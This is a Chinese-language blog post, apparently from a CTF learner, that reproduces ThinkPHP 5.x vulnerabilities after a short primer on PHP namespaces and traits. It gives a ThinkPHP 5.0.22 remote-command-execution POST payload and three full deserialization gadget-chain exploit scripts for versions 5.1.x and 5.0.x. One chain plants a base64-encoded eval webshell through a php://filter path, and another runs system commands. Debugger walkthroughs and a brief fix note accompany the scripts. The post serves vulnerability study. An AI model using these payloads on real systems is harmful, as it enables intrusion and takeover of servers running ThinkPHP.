基礎(chǔ)知識(shí)
命名空間和子命名空間
我們可以把namespace理解為一個(gè)單獨(dú)的空間,事實(shí)上它也就是一個(gè)空間而已,子命名空間那就是空間里再劃分幾個(gè)小空間,舉個(gè)例子:
<?php
namespace animal\cat;
class cat{
public function __construct()
{
echo "meow"."\n";
}
}
namespace animal\dogA;
class dog{
public function __construct()
{
echo "A:wooffff"."\n";
}
}
namespace animal\dogB;
class dog
{
public function __construct()
{
echo "B:wooffff"."\n";
}
}
namespace animal\dogC;
class dog
{
public function __construct()
{
echo "C:wooffff"."\n";
}
}
new dog();
//下面輸出的都是dogA
new \animal\dogA\dog();
use animal\dogA;
new dogA\dog();
use animal\dogA as alias;
new alias\dog();
//輸出cat
use animal\cat\cat;
new cat();
當(dāng)有多個(gè)子命名空間有相同名稱類時(shí),不指定使用哪個(gè)命名空間的情況下取最后定義的命名空間中的類,比如上面的dog
取的時(shí)dogC
中的類,在上面的例子中animal
是一個(gè)命名空間,animal\cat animal\dogA animal\dogB animal\dogC
都是其子命名空間,可以看到這樣一共就存在四個(gè)命名空間,而使用各個(gè)命名空間的方法就是將命名空間的名字寫完整,use是什么意思呢?其實(shí)和include和require有點(diǎn)像,就是在當(dāng)前命名空間引入其他命名空間的別名,比如use animal\dogA as alias
其中的alias就是別名。use animal\cat\cat
這句話就是直接指定了animal\cat
命名空間的cat
類了,我們只需要直接new就可以創(chuàng)建cat對象,不需要在前面加命名空間
類的繼承
這個(gè)簡單講下,php中是通過extend
關(guān)鍵字實(shí)現(xiàn)類的繼承的,子類可以覆蓋父類的方法,子類也可以通過parent::
關(guān)鍵字訪問父類被覆蓋的方法
<?php
class father{
public $name="Json";
private $age=30;
public $hobby="game";
public function say(){
echo "i am father \n";
}
public function smoke(){
echo "i got smoke \n";
}
}
class son extends father{
public $name="Boogipop";
private $age=19;
public function say()
{
echo "i am son \n";
}
public function parentsay(){
parent::say();
}
}
$son=new son();
$son->say();
$son->smoke();
$son->parentsay();
echo $son->hobby;
trait修飾符
trait修飾符使得被修飾的類可以進(jìn)行復(fù)用,增加了代碼的可復(fù)用性,使用這個(gè)修飾符就可以在一個(gè)類包含另一個(gè)類
<?php
trait test{
public function test(){
echo "test\n";
}
}
class impl{
use test;
public function __construct()
{
echo "impl\n";
}
}
$t=new impl();
$t->test();
// 輸出
impl
test
我們在impl類中use了test這個(gè)類,因此我們可以調(diào)用其中的方法,有點(diǎn)抽象的意思
Thinkphp開發(fā)手冊
Thinkphp5開發(fā)手冊
不懂就查
Thinkphp5.0.22 RCE漏洞
測試
POC:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
前提是debug選項(xiàng)要開啟
流程分析
下斷點(diǎn)調(diào)試,入口就在public/index.php
中
跟進(jìn)start.php
進(jìn)入run方法
跟進(jìn)routeCheck方法,沒什么大用,直接定位到Request.php
中的method
方法
注意$_POST[Config::get('var_method')]
,進(jìn)入Config::get
分析一下邏輯
其實(shí)返回的就是_method
,然后退出來回到method方法中,$this->method
對應(yīng)的就是$_POST['_method']
,我們傳入的是__construct
,轉(zhuǎn)為大寫之后就是__CONSTRUCT
,然后調(diào)用$this->{$this->method}($_POST)
,也就是$this->__CONSTRUCT($_POST)
,進(jìn)入
這里開始遍歷POST的元素,注意$this->$name
,這個(gè)寫法很明顯有變量覆蓋的漏洞,這里輕松的覆蓋掉$this->filter
和$this->server
,繼續(xù)往后走,進(jìn)入dispatch
沒啥東西,退出往下走
這里得開啟了debug
才能進(jìn)入,我們進(jìn)入param
方法
又進(jìn)入method
方法
進(jìn)入server
方法
進(jìn)入input
方法
這里給$data="whoami"
,然后進(jìn)入getFilter
方法
最終$filter=['system', null]
,退出
進(jìn)入filterValue
方法
調(diào)用了call_user_func
,執(zhí)行命令
Thinkphp5.1.x反序列化鏈
環(huán)境搭建
準(zhǔn)備一個(gè)反序列化入口:
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
攻擊測試
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["F12"=>["calc.exe","calc"]];
$this->data = ["F12"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單ajax偽裝變量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'F12'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
成功執(zhí)行
流程分析
反序列化處打個(gè)斷點(diǎn)
進(jìn)入think\process\pipes\Windows
的__destruct
方法
進(jìn)入removeFiles
方法$filename
是think\model]\Pivot
對象,file_exists
方法觸發(fā)它的__toString
方法,但是Pivot
類是沒有__toString
方法的,只能找父類Module
,Module
中使用use調(diào)用了Conversion
類,Conversion
被用trait修飾,所以最終調(diào)用的是Conversion
類的__toString
方法
跟進(jìn)toJson
方法
跟進(jìn)$this->toArray
方法
這里遍歷$this->append
,我們的append
是這個(gè)值
先進(jìn)入getRelation
,傳入的key值是F12
每個(gè)條件都滿足不了,直接return,所以$relation
的值為null,滿足if,進(jìn)入getAttr
方法
進(jìn)入getData
方法
我們的$this->data
中是有F12
這個(gè)鍵值的,所以返回$this->data[$name]
,也就是Request
對象,返回之后,$relation
就是Request
對象了
觸發(fā)visible
方法,但是Request
類并沒有這個(gè)方法,所以觸發(fā)Request
的__call
方法
經(jīng)過array_unshift
方法,$args數(shù)組被插入Request
對象
然后執(zhí)行call_user_func_array
方法,$this->hook[$method]
就是isAjax
方法,跟進(jìn)
調(diào)用param
方法,$this->config['var_ajax']
的值是F12
進(jìn)入input
方法
進(jìn)入getData
方法
接受我們的惡意傳參的值,返回給$data,又是進(jìn)入getFilter
方法
也是給$filter賦值了
為system
往下走,進(jìn)入filterValue
方法call_user_func
執(zhí)行命令
修復(fù)方式
官方直接把Request
中的__call
魔術(shù)方法給抹除了,因此鏈子后半段就斷掉了,也就是說以后打比賽修復(fù)的化,直接刪,不影響業(yè)務(wù)
Thinkphp5.0.x反序列化鏈
環(huán)境搭建
反序列化入口:
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12載初心不改(2006-2018) - 你值得信賴的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
攻擊測試
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //傳入Pivot類
}
}
}
//__toString Model子類
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output類
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //調(diào)用Query類的getModel
$this->selfRelation=false; //滿足條件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的參數(shù)$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File類
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows));
}
這里照著thinkphp的路由打,訪問/public/index/index?input=poc
,可以看到public文件下生成了兩個(gè)php文件
第一個(gè)就是我們的webshell,第二個(gè)是個(gè)亂碼文件,等會(huì)分析原因
流程分析
前面一點(diǎn)點(diǎn)是跟tp5.1的流程是一樣的
從這里開始往下看,有4個(gè)重要的斷點(diǎn)處
首先是$relation
的賦值,跟進(jìn)parseName
方法
直接返回$name
的值,$relation==getError
,接下來的if判斷,Modle
類有getError
方法,因此過,下面調(diào)用getError
方法
返回$error
,這個(gè)變量可控,我們的payload里是這樣給的值,這個(gè)$hasone下面再看是什么值
接下來是對$value
的賦值,進(jìn)入getRelationData
方法
看這一段if判斷,我們需要滿足三個(gè)條件
- $this->parent
- !$modelRelation->isSelfRelation()
- get_class($modelRelation->getModel()) == get_class($this->parent))
首先我們要知道在toString這一步我們需要做什么,5.1版本是觸發(fā)了__call方法,那么這里我們也應(yīng)該尋找能否找到合適的call方法,最后結(jié)果就是think\console\Output
類,那么我們應(yīng)該讓這個(gè)方法返回一個(gè)Output對象,這樣在出去之后執(zhí)行$value->getAttr($attr)
才會(huì)觸發(fā)__call
魔術(shù)方法,而該方法中value的值就是$this->parent
,所以第一個(gè)條件parent需要為Output對象
對于第二個(gè)條件,$modelRelation
我們已經(jīng)完成了賦值,為HasOne
對象,我們觀察一下isSelfRelation
方法,返回Relation
類重點(diǎn)selfRelation
屬性
由于hasone類是Relation類的子類,因此我們對$this->selfRelation
的值可控,只需讓他為false即可
最后一個(gè)條件需要讓Hasone::getModel
返回一個(gè)Output對象($this->parent),觀察該方法,還是Relation
類
全局搜索getModel方法,/thinkphp/library/think/db/Query.php
中的getModel方法我們可控,所以讓$this->query
為Query.php
的實(shí)例即可,然后讓他的model屬性為Output
對象
完成對$value
的賦值后,第三個(gè)斷點(diǎn),是對$bindAttr
的賦值,進(jìn)入getBindAttr
方法
返回OneToOne
類的$bindAttr
屬性,HasOne
是OneToOne
的子類,所以直接在HasOne
中賦值即可,所以這個(gè)屬性可控,這里我們設(shè)置為一個(gè)數(shù)組["a"=>"admin"]
,這里的admin和結(jié)果中的文件名有關(guān)
在進(jìn)入第四個(gè)斷點(diǎn)之前,對$bindAttr
有一個(gè)鍵值遍歷,最終$key==a,$attr==admin
,第四個(gè)斷點(diǎn)$value->getAttr()
,觸發(fā)Output
對象的__call
方法array_unshift
把getAttr
插入$args
數(shù)組的最前頭,然后調(diào)用block
方法,跟進(jìn)
該方法中又調(diào)用自己的writeln
方法,參數(shù)為<getAttr>admin</getAttr>
,這是上面2個(gè)變量拼貼來的,跟進(jìn)writeln方法調(diào)用write,參數(shù)為之前帶下來的<getAttr>admin</getAttr>
,另外兩個(gè)分別為true,0
套個(gè)娃
這里的handle對象由我們控制,我們設(shè)置的是think\session\driver\Memcached
,進(jìn)入它的write方法
這里Memcached
的hander屬性我們也控制,設(shè)置為think\cache\driver\File
,進(jìn)入它的set方法
進(jìn)入getCacheKey
方法,看名字也知道這個(gè)跟文件名有關(guān)
雖然$filename
可控,但是$data
里有個(gè)死亡函數(shù)exit
,所以我們上面的php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
是為了繞過死亡函數(shù)
這里$value的值并不能控制,所以$data
的值還有待商榷,我們繼續(xù)往下走,進(jìn)入setTagItem
方法
在該方法中最后又會(huì)調(diào)用一次set,然后這次value我們可控,就是傳進(jìn)來的name
,也就是$filename
又調(diào)用一次set,說明又執(zhí)行了一次file_put_contents
,所以說我們生成了兩個(gè)php文件,第二個(gè)文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
最終的結(jié)果是file_put_contents("php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php", "<?php\n//000000000000\n exit();?>\ns:158:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php";")
,之前有一篇文章講過file_put_contents對死亡函數(shù)的繞過,利用編碼的性質(zhì),將其變成其它字符,所以說里面有用的其實(shí)只有PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g
也就是我們的webshell,其它的字符都會(huì)因?yàn)閎ase64解碼而改變,所以我們生成的php文件中才有很多亂碼
Thinphp5.0.x的另一條反序列化鏈
攻擊測試
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { //個(gè)人認(rèn)為防止重名
protected $handler;
protected $config = [ //config一定要寫全,不然打不通
'session_name' => '', // memcache key前綴
'username' => '', //賬號
'password' => '', //密碼
'host' => '127.0.0.1', // memcache主機(jī)
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
這條鏈直接就rce了,方便的多文章來源:http://www.zghlxwxcb.cn/news/detail-855161.html
流程分析
前頭基本一樣,到之前說到4個(gè)斷點(diǎn)處,從第三個(gè)斷點(diǎn)開始不同
可控的bindAttr
這是設(shè)置成這樣,沒什么特殊含義(就是想說這里已經(jīng)不重要了,之前是為了控制__call
的參數(shù)
之后又開始相同了,到Memcached
類中的write方法
這次調(diào)用的set方法是think\cache\driver\Memcache
的
這里的$tag
被控制為haha
,我們進(jìn)入has
方法
進(jìn)入getCacheKey
方法
這里的options['prefix']
我們控制為haha/
,返回拼接的內(nèi)容,然后進(jìn)入think\Request
的get方法
很眼熟,這里明顯進(jìn)入了我們上頭的tp5.0.22 RCE漏洞
的最后部分,這里的$get
我們是控制為['haha'=>'dir']
,進(jìn)入input方法
進(jìn)入getFilter
方法$filter
被賦值為['system', null]
,進(jìn)入filterValue
方法
rce,結(jié)束文章來源地址http://www.zghlxwxcb.cn/news/detail-855161.html
到了這里,關(guān)于Thinkphp5.x全漏洞復(fù)現(xiàn)分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!